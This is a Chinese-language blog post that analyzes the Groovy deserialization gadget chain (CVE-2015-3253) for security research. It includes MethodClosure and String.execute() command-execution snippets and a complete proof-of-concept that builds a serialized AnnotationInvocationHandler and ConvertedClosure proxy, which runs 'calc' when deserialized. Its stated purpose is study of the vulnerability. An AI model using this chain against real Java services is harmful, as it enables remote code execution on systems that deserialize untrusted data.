前言

Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。

在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all

环境搭建

<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.3</version>
</dependency>

Groovy命令执行

MethodClosure

package org.example;

import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; public class methodClosure {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");
}
}

很朴素,一眼看出漏洞点在doCall方法,调试一波



invokeMethod顾名思义就是执行方法的,调试进去看也确实如此,看getOwner是获取到this.owner,看构造方法,owner是一个对象



owner我们是设置了的,owner就是我们传入的Runtime对象,method同理可控,这样就实现了任意类方法调用

String.execute()

Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令ls

注意这里,创建一个Groovy类文件,不是创建java类文件了

package org.example

class stringExecute {
static void main(String[] args){
println("calc".execute().text);
}
}
// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}" // 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

ConvertedClosure

ConvertedCloure实际上是一个动态代理类,它继承了ConversionHandler



ConversionHandler又继承了InvocationHandler



因此该类是一个动态代理,然后注意invokeCustom,这个和InvocationHandlerinvoke是一个意思,代理的具体逻辑。如果初始化时指定的methodinvokeCustom指定的method参数相同,则invokeCustom方法将会调用代理对象 Closurecall方法执行传入参数执行

Groovy反序列化构造

说到动态代理就得想到CC1

package org.example;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map; public class convertedClosure {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet"); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true); // 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure); // 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler); try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
outputStream.writeObject(invocationHandler);
outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
inputStream.readObject();
}
catch(Exception e){
e.printStackTrace();
}
}
}

调用链

AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

流程分析

调用entrySet



触发invoke,this是ConvertedClosure它继承了ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom



最后调用call方法rce

Groovy反序列化链分析的更多相关文章

  1. Groovy 反序列化漏洞分析(CVE-2015-3253)

    0x00 前言   Java反序列化的漏洞爆发很久了,此前一直想学习一下.无奈Java体系太过于复杂,单是了解就花了我很久的时间,再加上懒,就一直拖着,今天恰好有空,参考@iswin大佬两年前的分析, ...

  2. PHP反序列化链分析

    前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...

  3. [Java反序列化]jdk原生链分析

    jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...

  4. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  5. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  6. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. JAVA 反序列化攻击

    Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令. 由于目前发现该漏洞存在于 Apache commons-collec ...

  9. Java与groovy混编 —— 一种兼顾接口清晰和实现敏捷的开发方式

    有大量平均水平左右的"工人"可被选择.参与进来 -- 这意味着好招人 有成熟的.大量的程序库可供选择 -- 这意味着大多数项目都是既有程序库的拼装,标准化程度高而定制化场景少 开发 ...

  10. Groovy 读取json文件,并用gson反序列化为List集合

    Groovy 读取json文件,并用gson反序列化 package com.bicycle.util import bicycle_grails.StationInfo import com.goo ...

随机推荐

  1. liunx 大文件切割,catalina.out 大文件打开

    工作中,由于没有没有配日志文件切割,不小心日志文件上G了,用tail -f   或 cat 命令都难打开了,但偏这时候出了点事,需要查日志 怎么呢.第一条件命令    tail -50000f  ca ...

  2. mysql视图详细笔记

    1 #视图 2 /* 3 含义:虚拟表,和普通表一样使用 4 mysql5.1版本出现的新特性,是通过表动态生成的数据 5 6 比如:舞蹈班和普通班级的对比 7 创建语法的关键字 是否实际占用物理空间 ...

  3. [学习笔记].Net5项目打包到Linux系统服务时遇到的坑

    ​如果按照官方文档的步骤手动安装.Net5 会有一个坑: 在 Linux 上手动安装 .NET - .NET | Microsoft Docs 在使用systemd打包.Net5服务的时候,无法运行, ...

  4. go-view 依赖库

    go-view 依赖库 打包es5 由于当前node版本是 16.18 最新版本的不支持,所以装个老版的 npm install @vitejs/plugin-legacy@4.0.4 --save- ...

  5. iview select 下拉 多选 数组 外面包一层 数组改逗分,外层不能用v-model 要用 :value @input,input里面要把对象解构下,才能过验证 - vue

    iview select 下拉 多选 数组 外面包一层 数组改逗分,外层不能用v-model 要用 :value @input,input里面要把对象解构下,才能过验证 - vue

  6. Ingress和Ingress Controller什么关系

    Ingress Controller和Ingress在Kubernetes(K8s)中各自扮演着不同的角色,但它们共同协作以实现外部访问集群内部服务的功能. Ingress是一个Kubernetes ...

  7. 2023中山市第三届香山杯网络安全大赛初赛wp

    序 被带飞了 PWN move 先往变量 sskd 写入 0x20 字节,往第二个输入点输入 0x12345678 即可进入到第三个输入点,存在 0x8 字节的溢出.思路是在第一个输入点布置 rop ...

  8. linux-关于conio.h文件的文件缺失问题

    链接: https://pan.baidu.com/s/1Qzo4CkJB1_5E-3rDLtfG4Q 提取码: fh65 编辑以下这个依赖库就可以了 $ cd libconio-1.0.0 $ ./ ...

  9. STM32芯片SPI接口接收数据左移一位问题定位总结

    一 问题 最近在一个项目中,调试SPI的过程中遇到一个问题--接收数据整体向左移了一位(1bit).SPI数据收发是数据交换,因此接收数据时从第二个字节开始才是有效数据,也就是数据整体向右移一个字节( ...

  10. 假期做了一项调研:大厂为啥都自研RPC?结果合乎情理!

    大家好,我是冰河~~ 五一假期过的可真快,今天开始,又要搬砖了.在五一假期当中,冰河做了一项调研,感觉结果还是挺合乎情理的. 翻看招聘信息 先来看我在某招聘网站上随便搜索了下Java招聘的岗位,看到的 ...